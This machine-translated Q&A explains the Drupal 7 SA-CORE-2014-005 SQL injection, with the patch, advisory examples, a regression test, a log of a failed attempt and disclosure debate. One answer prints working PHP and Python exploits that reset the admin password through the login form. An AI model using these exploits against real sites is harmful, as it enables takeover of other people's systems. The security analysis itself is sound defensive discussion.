SA-CORE-2014-005(Drupal 7.32)修补程序可以预防哪种攻击?


33

读了关于https://www.drupal.org/node/2357241,并在技术细节https://www.drupal.org/SA-CORE-2014-005,以及实际的补丁,它很简单:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

我想知道可以利用此漏洞发出什么样的请求?



我们可以直接改变核心吗?database.inc文件?
Hitesh

@hitesh您可以database.inc从上面的补丁中进行补丁(或者手动进行,这显然是一个很小的变化),但是我还建议您对整个核心Drupal进行整个补丁。
Charlie Schliesser 2014年

1
对于那些不知道什么请求会利用该错误,但实际上是什么错误的人,我向Programmers.SE发布了解释
2014年

即使升级后,仍然有人可以在我的网站中放置.php文件。我也检查过menu_router-没有可疑的地方。我也进行了现场审核和drupalgetaddon
2014年

Answers:


18

发现该错误的公司在咨询01/2014中提供了一些示例:Drupal-Auth SQL预注入漏洞

提取:

该函数假定使用没有键的数组调用该函数。例:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

这将导致此SQL语句

SELECT * from users where name IN (:name_0, :name_1)

与参数name_0 = user1name_1 = user2

如果数组具有键,该键不是整数,则会出现问题。例:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

这会导致可利用的SQL查询:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

带有参数:name_test = user2

由于Drupal使用PDO,因此允许多查询。因此,该SQL注入可用于在数据库中插入任意数据,转储或修改现有数据或删除整个数据库。

通过将任意数据插入数据库的可能性,攻击者可以通过带有回调的Drupal功能执行任何PHP代码。


感谢分享,我无法通过搜索该主题找到它。The Problem occurs, if the array has keys, which are no integers-这个和示例查询对于理解这一点很有帮助。
查理·施利瑟

19

7.32发生了什么情况通过检查测试模块。您可以看到以下测试已添加到7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

这将使您进一步了解如何进行攻击。

概念验证 由于已经花费了足够的时间,并且有大量的PoC出现在野外。

Poc#1-PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc#2 Python- http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

这是一个很好的细分博客:http : //www.volexity.com/blog/? p= 83


这POC不起作用....
凯尔布朗宁

您可以发布POC,黑客可以用它来将$ data替换为database.inc中的array_values($ data)吗?
汉斯·罗瑟尔

我可以在香草Drupal站点上确认这一工作。真不幸……
AyeshK 2014年

正如@greggles所说的,这还为时过早,并不是每个人都得到备忘录。请克制。
pal4life 2014年

问题-使此攻击起作用是否需要“?q =“?我的服务器碰巧丢弃了一个带有q(或Q或%编码等效项)的arg的请求。只是好奇。我们不久前打了补丁,没有看到入侵或任何东西的迹象,但是我想知道我们是否通过拒绝q =请求而幸运了吗?
卡萨波(Kasapo)2014年

16

发现该错误的研究人员具有概念证明。其他人也开发了概念证明。但是,他们故意不发布它们以试图降低其被广泛利用的可能性。我们应该尊重这种研究和束缚,不要在这里发表例子。

经过一段时间并且站点进行了升级之后,从学术角度来看,回顾概念验证攻击代码将非常有趣。在此之前,这是不必要的风险,请引起注意。

SektioinEins通报中的代码不是有关如何利用它的完整开发示例。他们详述了弱点,但没有准确地确定如何实际利用此问题。


自问题发布以来已经过去了几周,SektionEins在其博客上发布了一些概念验证。与许多其他概念证明相比,这些东西很有趣,因为它们留下了很少的活动痕迹(例如menu_router表中没有任何痕迹)。


4

我可以确认,此漏洞将与每个Drupal 7.31及更低版本的站点一起使用,而与哪个模块处于活动状态无关。每种drupal形式都可以用来利用此漏洞。

漏洞利用非常简单,因此PoC已经很流行了。在干净的Drupal安装中,我能够攻击自己的服务器并以匿名用户身份更改用户密码,但是可能性无穷无尽。

大约1年前通过https://www.drupal.org/node/2146839知道了此错误,但是Drupal核心安全团队没有人对此做出回应。


没有报告它是安全问题,不是吗?
2014年

它被标记为“ #security”,优先级为“ major”,状态为“ needs review”,并且包含一个补丁,该补丁基本上可以实现7.32中的补丁。也许#“安全”的前面限制了人们看不到它本来应该拥有的东西,或者队列中有太多问题。仍然令人惊讶的是,没有人对此做出回应。
Charlie Schliesser 2014年

3
没有将其报告为安全问题,因此安全团队可能没有看到它。但是,是的,那个人不确定这是一个安全问题,所以这可能就是原因。
Berend de Boer 2014年

2
它被报告为“功能请求”,甚至没有错误。稳定版本的Drupal核心不接受新功能,因此通常不会考虑。安全问题永远不应公开发布,有一个清晰的页面如何向安全团队报告Drupal安全问题:drupal.org/node/101494
Hans Rossel 2014年

4

我想知道如何利用它,需要多少时间和精力?因此,我决定在本地主机上安装较旧的Drupal 7版本,并对这个错误进行反向工程。我发现的是一个令人震惊的错误,它使具有HTML / SQL基础知识的任何人都可以完全访问您的Drupal网站。

在不到30分钟的尝试时间内,我设法使用匿名用户将SQL注入到Drupal 7中!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

注意:这仍然不允许您登录,因为Drupal使用带有盐的SHA512,因此无法实际登录。我故意没有在这里放代码,但是显然任何对Drupal知识不多的人都会知道如何克服这个问题并构造查询,这将使您拥有完整的访问权限!

这就提出了一个问题:Drupal有多安全?谁来负责此类事情?显然,这个错误已被发现了一年多(https://www.drupal.org/node/2146839),但是没有人对Drupal.org有所反应。意外还是故意?:)


1

它是一个SQL注入漏洞的修复程序,在该漏洞中,恶意SQL语句被插入到输入字段中以执行,并且可能导致例如释放数据库内容。此修补程序对于尽快应用非常重要,尤其是因为匿名用户可以利用此漏洞。

如果您无法立即更新,安全团队可以提供此补丁,它将提供相同的保护,直到您可以进行完全升级1为止。此外,安全团队还准备了与此问题相关的一些常见问题解答。将网站置于维护模式将无济于事请在应用更新后清除缓存,或确保您使用的是7.32。

另外,您应该检查您的网站是否未受到破坏。已经有一些网站报告了问题。这是一篇博客文章,建议您如何检查更新到Drupal 7.32还不够,您的网站可能已被黑

我在10月15日应用了此修复程序,并且我的网站已经报告有人试图利用此漏洞。

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.